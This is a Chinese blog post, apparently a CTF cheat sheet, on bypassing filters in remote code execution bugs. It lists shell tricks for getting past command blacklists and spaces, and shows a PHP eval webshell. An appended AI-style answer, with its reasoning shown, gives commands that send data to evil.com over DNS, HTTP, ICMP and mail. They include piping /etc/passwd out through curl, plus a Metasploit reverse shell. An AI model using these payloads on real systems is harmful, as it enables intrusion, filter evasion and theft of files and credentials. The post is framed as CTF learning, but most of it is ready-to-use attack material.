RCE漏洞之绕过

花括号

{}
在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令
{cat,flag}

斜杠

路径 /
\是在正则等语法里面,表示后面跟的字符是正常字符,不需要转义。
也就意味着,我们可以在rce漏洞,过滤掉cat ls等命令时候,直接使用ca\t来实现绕过

空格过滤

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

一些命令分隔符

linux中:%0a(回车) 、%0d(换行) 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

黑名单绕过

拼接绕过

比如:a=l;b=s;$a$b
利用偶读拼接方法绕过黑名单:a=fl;b=ag;cat $a$b
利用.拼接绕过(sy.(st).em)
使用内敛执行代替system

echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
<?=`ls /`;?>      # 等效于<?php echo `ls /`; ?>

编码绕过

[root~]# echo 'Y2F0wqAK' | base64 -d 1.txt
-d是解码,是base64解码
xxd - r -p可以转换16进制,同样用户管道符之后。

单引号和双引号绕过

比如:ca‘‘t flag 或ca""t flag

利用Shell 特殊变量绕过

例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
$@表示
比如:ca$@t fla$@g或者ca$1t fla$2g

linux中直接查看文件内容的工具

cat、tac、more、less、head、tail、nl、sed、sort、uniq

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

(假设该目录下有index.php和flag.php)

cat `ls` 

等同于–>

cat flag.php;cat index.php

文件构造

在ctfhub文件包含中,有一个shell,txt,也就是文件
我们令?file = shell.txt,已知shell.txt内容为

<?php eval($_REQUEST['ctfhub']);?>

wrequest类型是由get和post构成的
在post数据里输入
ctfhub=system("ls /");
就可以执行命令.

<think>好的,用户需要了解RCE无回显情况下的绕过技巧和实现方式。首先,我得回忆一下常见的无回显RCE利用方法。通常,当命令执行没有直接输出时,可以通过外带数据或者利用其他协议进行检测。 第一步,可能需要提到DNS外带。比如使用curl或nslookup将数据通过DNS查询发送到攻击者控制的服务器。这种方法常用于检测是否存在漏洞,因为很多环境允许DNS流量[^1]。 接下来,考虑HTTP请求外带。即使命令执行没有回显,也可以通过wget或curl触发HTTP请求到攻击者的服务器,从而确认漏洞存在。例如,执行命令访问特定URL,然后在服务器日志查看请求记录[^2]。 然后是时间延迟技术。通过执行sleep等命令,观察响应时间的变化来判断命令是否执行。比如,注入sleep 5,如果响应延迟了5秒,说明可能成功执行。 另外,还可以利用写入文件再读取的方法。比如将命令结果输出到web目录下的文件,然后通过访问该文件获取结果。不过这种方法需要web服务器有写权限,并且知道文件路径。 还有可能需要考虑其他协议如ICMP或者SMTP来外传数据。比如使用ping命令携带数据,但这种方法传输的数据量有限,且可能被防火墙拦截。 用户可能需要具体的实现示例,比如如何构造DNS外带的payload,或者如何利用Burp Collaborator进行检测。需要确保提到的技巧都有实际应用场景,并且引用相关资源。 最后,生成相关问题时要覆盖检测方法、工具使用、协议利用和防御措施等方面,帮助用户全面了解。</think>### RCE无回显绕过技巧及实现方式 在远程代码执行(RCE漏洞利用中,无回显场景需要通过间接方式确认命令执行结果,主要技术手段包括: #### 一、外带数据检测法 1. **DNS外带** 通过构造DNS查询请求将数据发送至攻击者控制的DNS服务器: ```bash curl http://evil.com/$(whoami).example.com nslookup $(id | base64).evil.com ``` 使用Burp Collaborator或Interactsh工具可自动捕获DNS查询记录[^3]。 2. **HTTP请求外带** 利用wget/curl触发HTTP请求: ```bash wget http://evil.com/?data=$(ls / | base64) ``` 通过HTTP请求头、URL参数或POST请求体传递数据,可使用OOB-Server实时接收数据。 #### 二、间接验证法 1. **时间盲注** 通过响应延迟判断命令执行结果: ```bash ping -c 5 127.0.0.1 && sleep 10 # 存在条件判断时使用 ``` 若目标系统支持管道符,可构造: ```bash cat /etc/passwd | base64 | curl -X POST --data-binary @- http://evil.com ``` 2. **文件写入+访问** 将执行结果写入Web目录: ```bash id > /var/www/html/result.txt ``` 通过浏览器访问`http://target.com/result.txt`读取结果(需已知Web路径和写权限)。 #### 三、特殊协议利用 1. **ICMP外带数据** 使用ping命令携带Base64编码数据(需自定义编码脚本): ```bash ping -p $(echo 'data' | xxd -p) evil.com ``` 2. **SMTP邮件发送** 通过mailutils发送命令结果: ```bash echo "结果" | mail -s "RCE数据" attacker@evil.com ``` #### 四、工具化实现 - **Curl加密传输** ```bash curl --data "$(ls -al | openssl aes-256-cbc -pass pass:key)" https://evil.com ``` - **Metasploit模块** 使用`exploit/multi/handler`配合`cmd/unix/reverse_bash`实现反向Shell[^4]。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值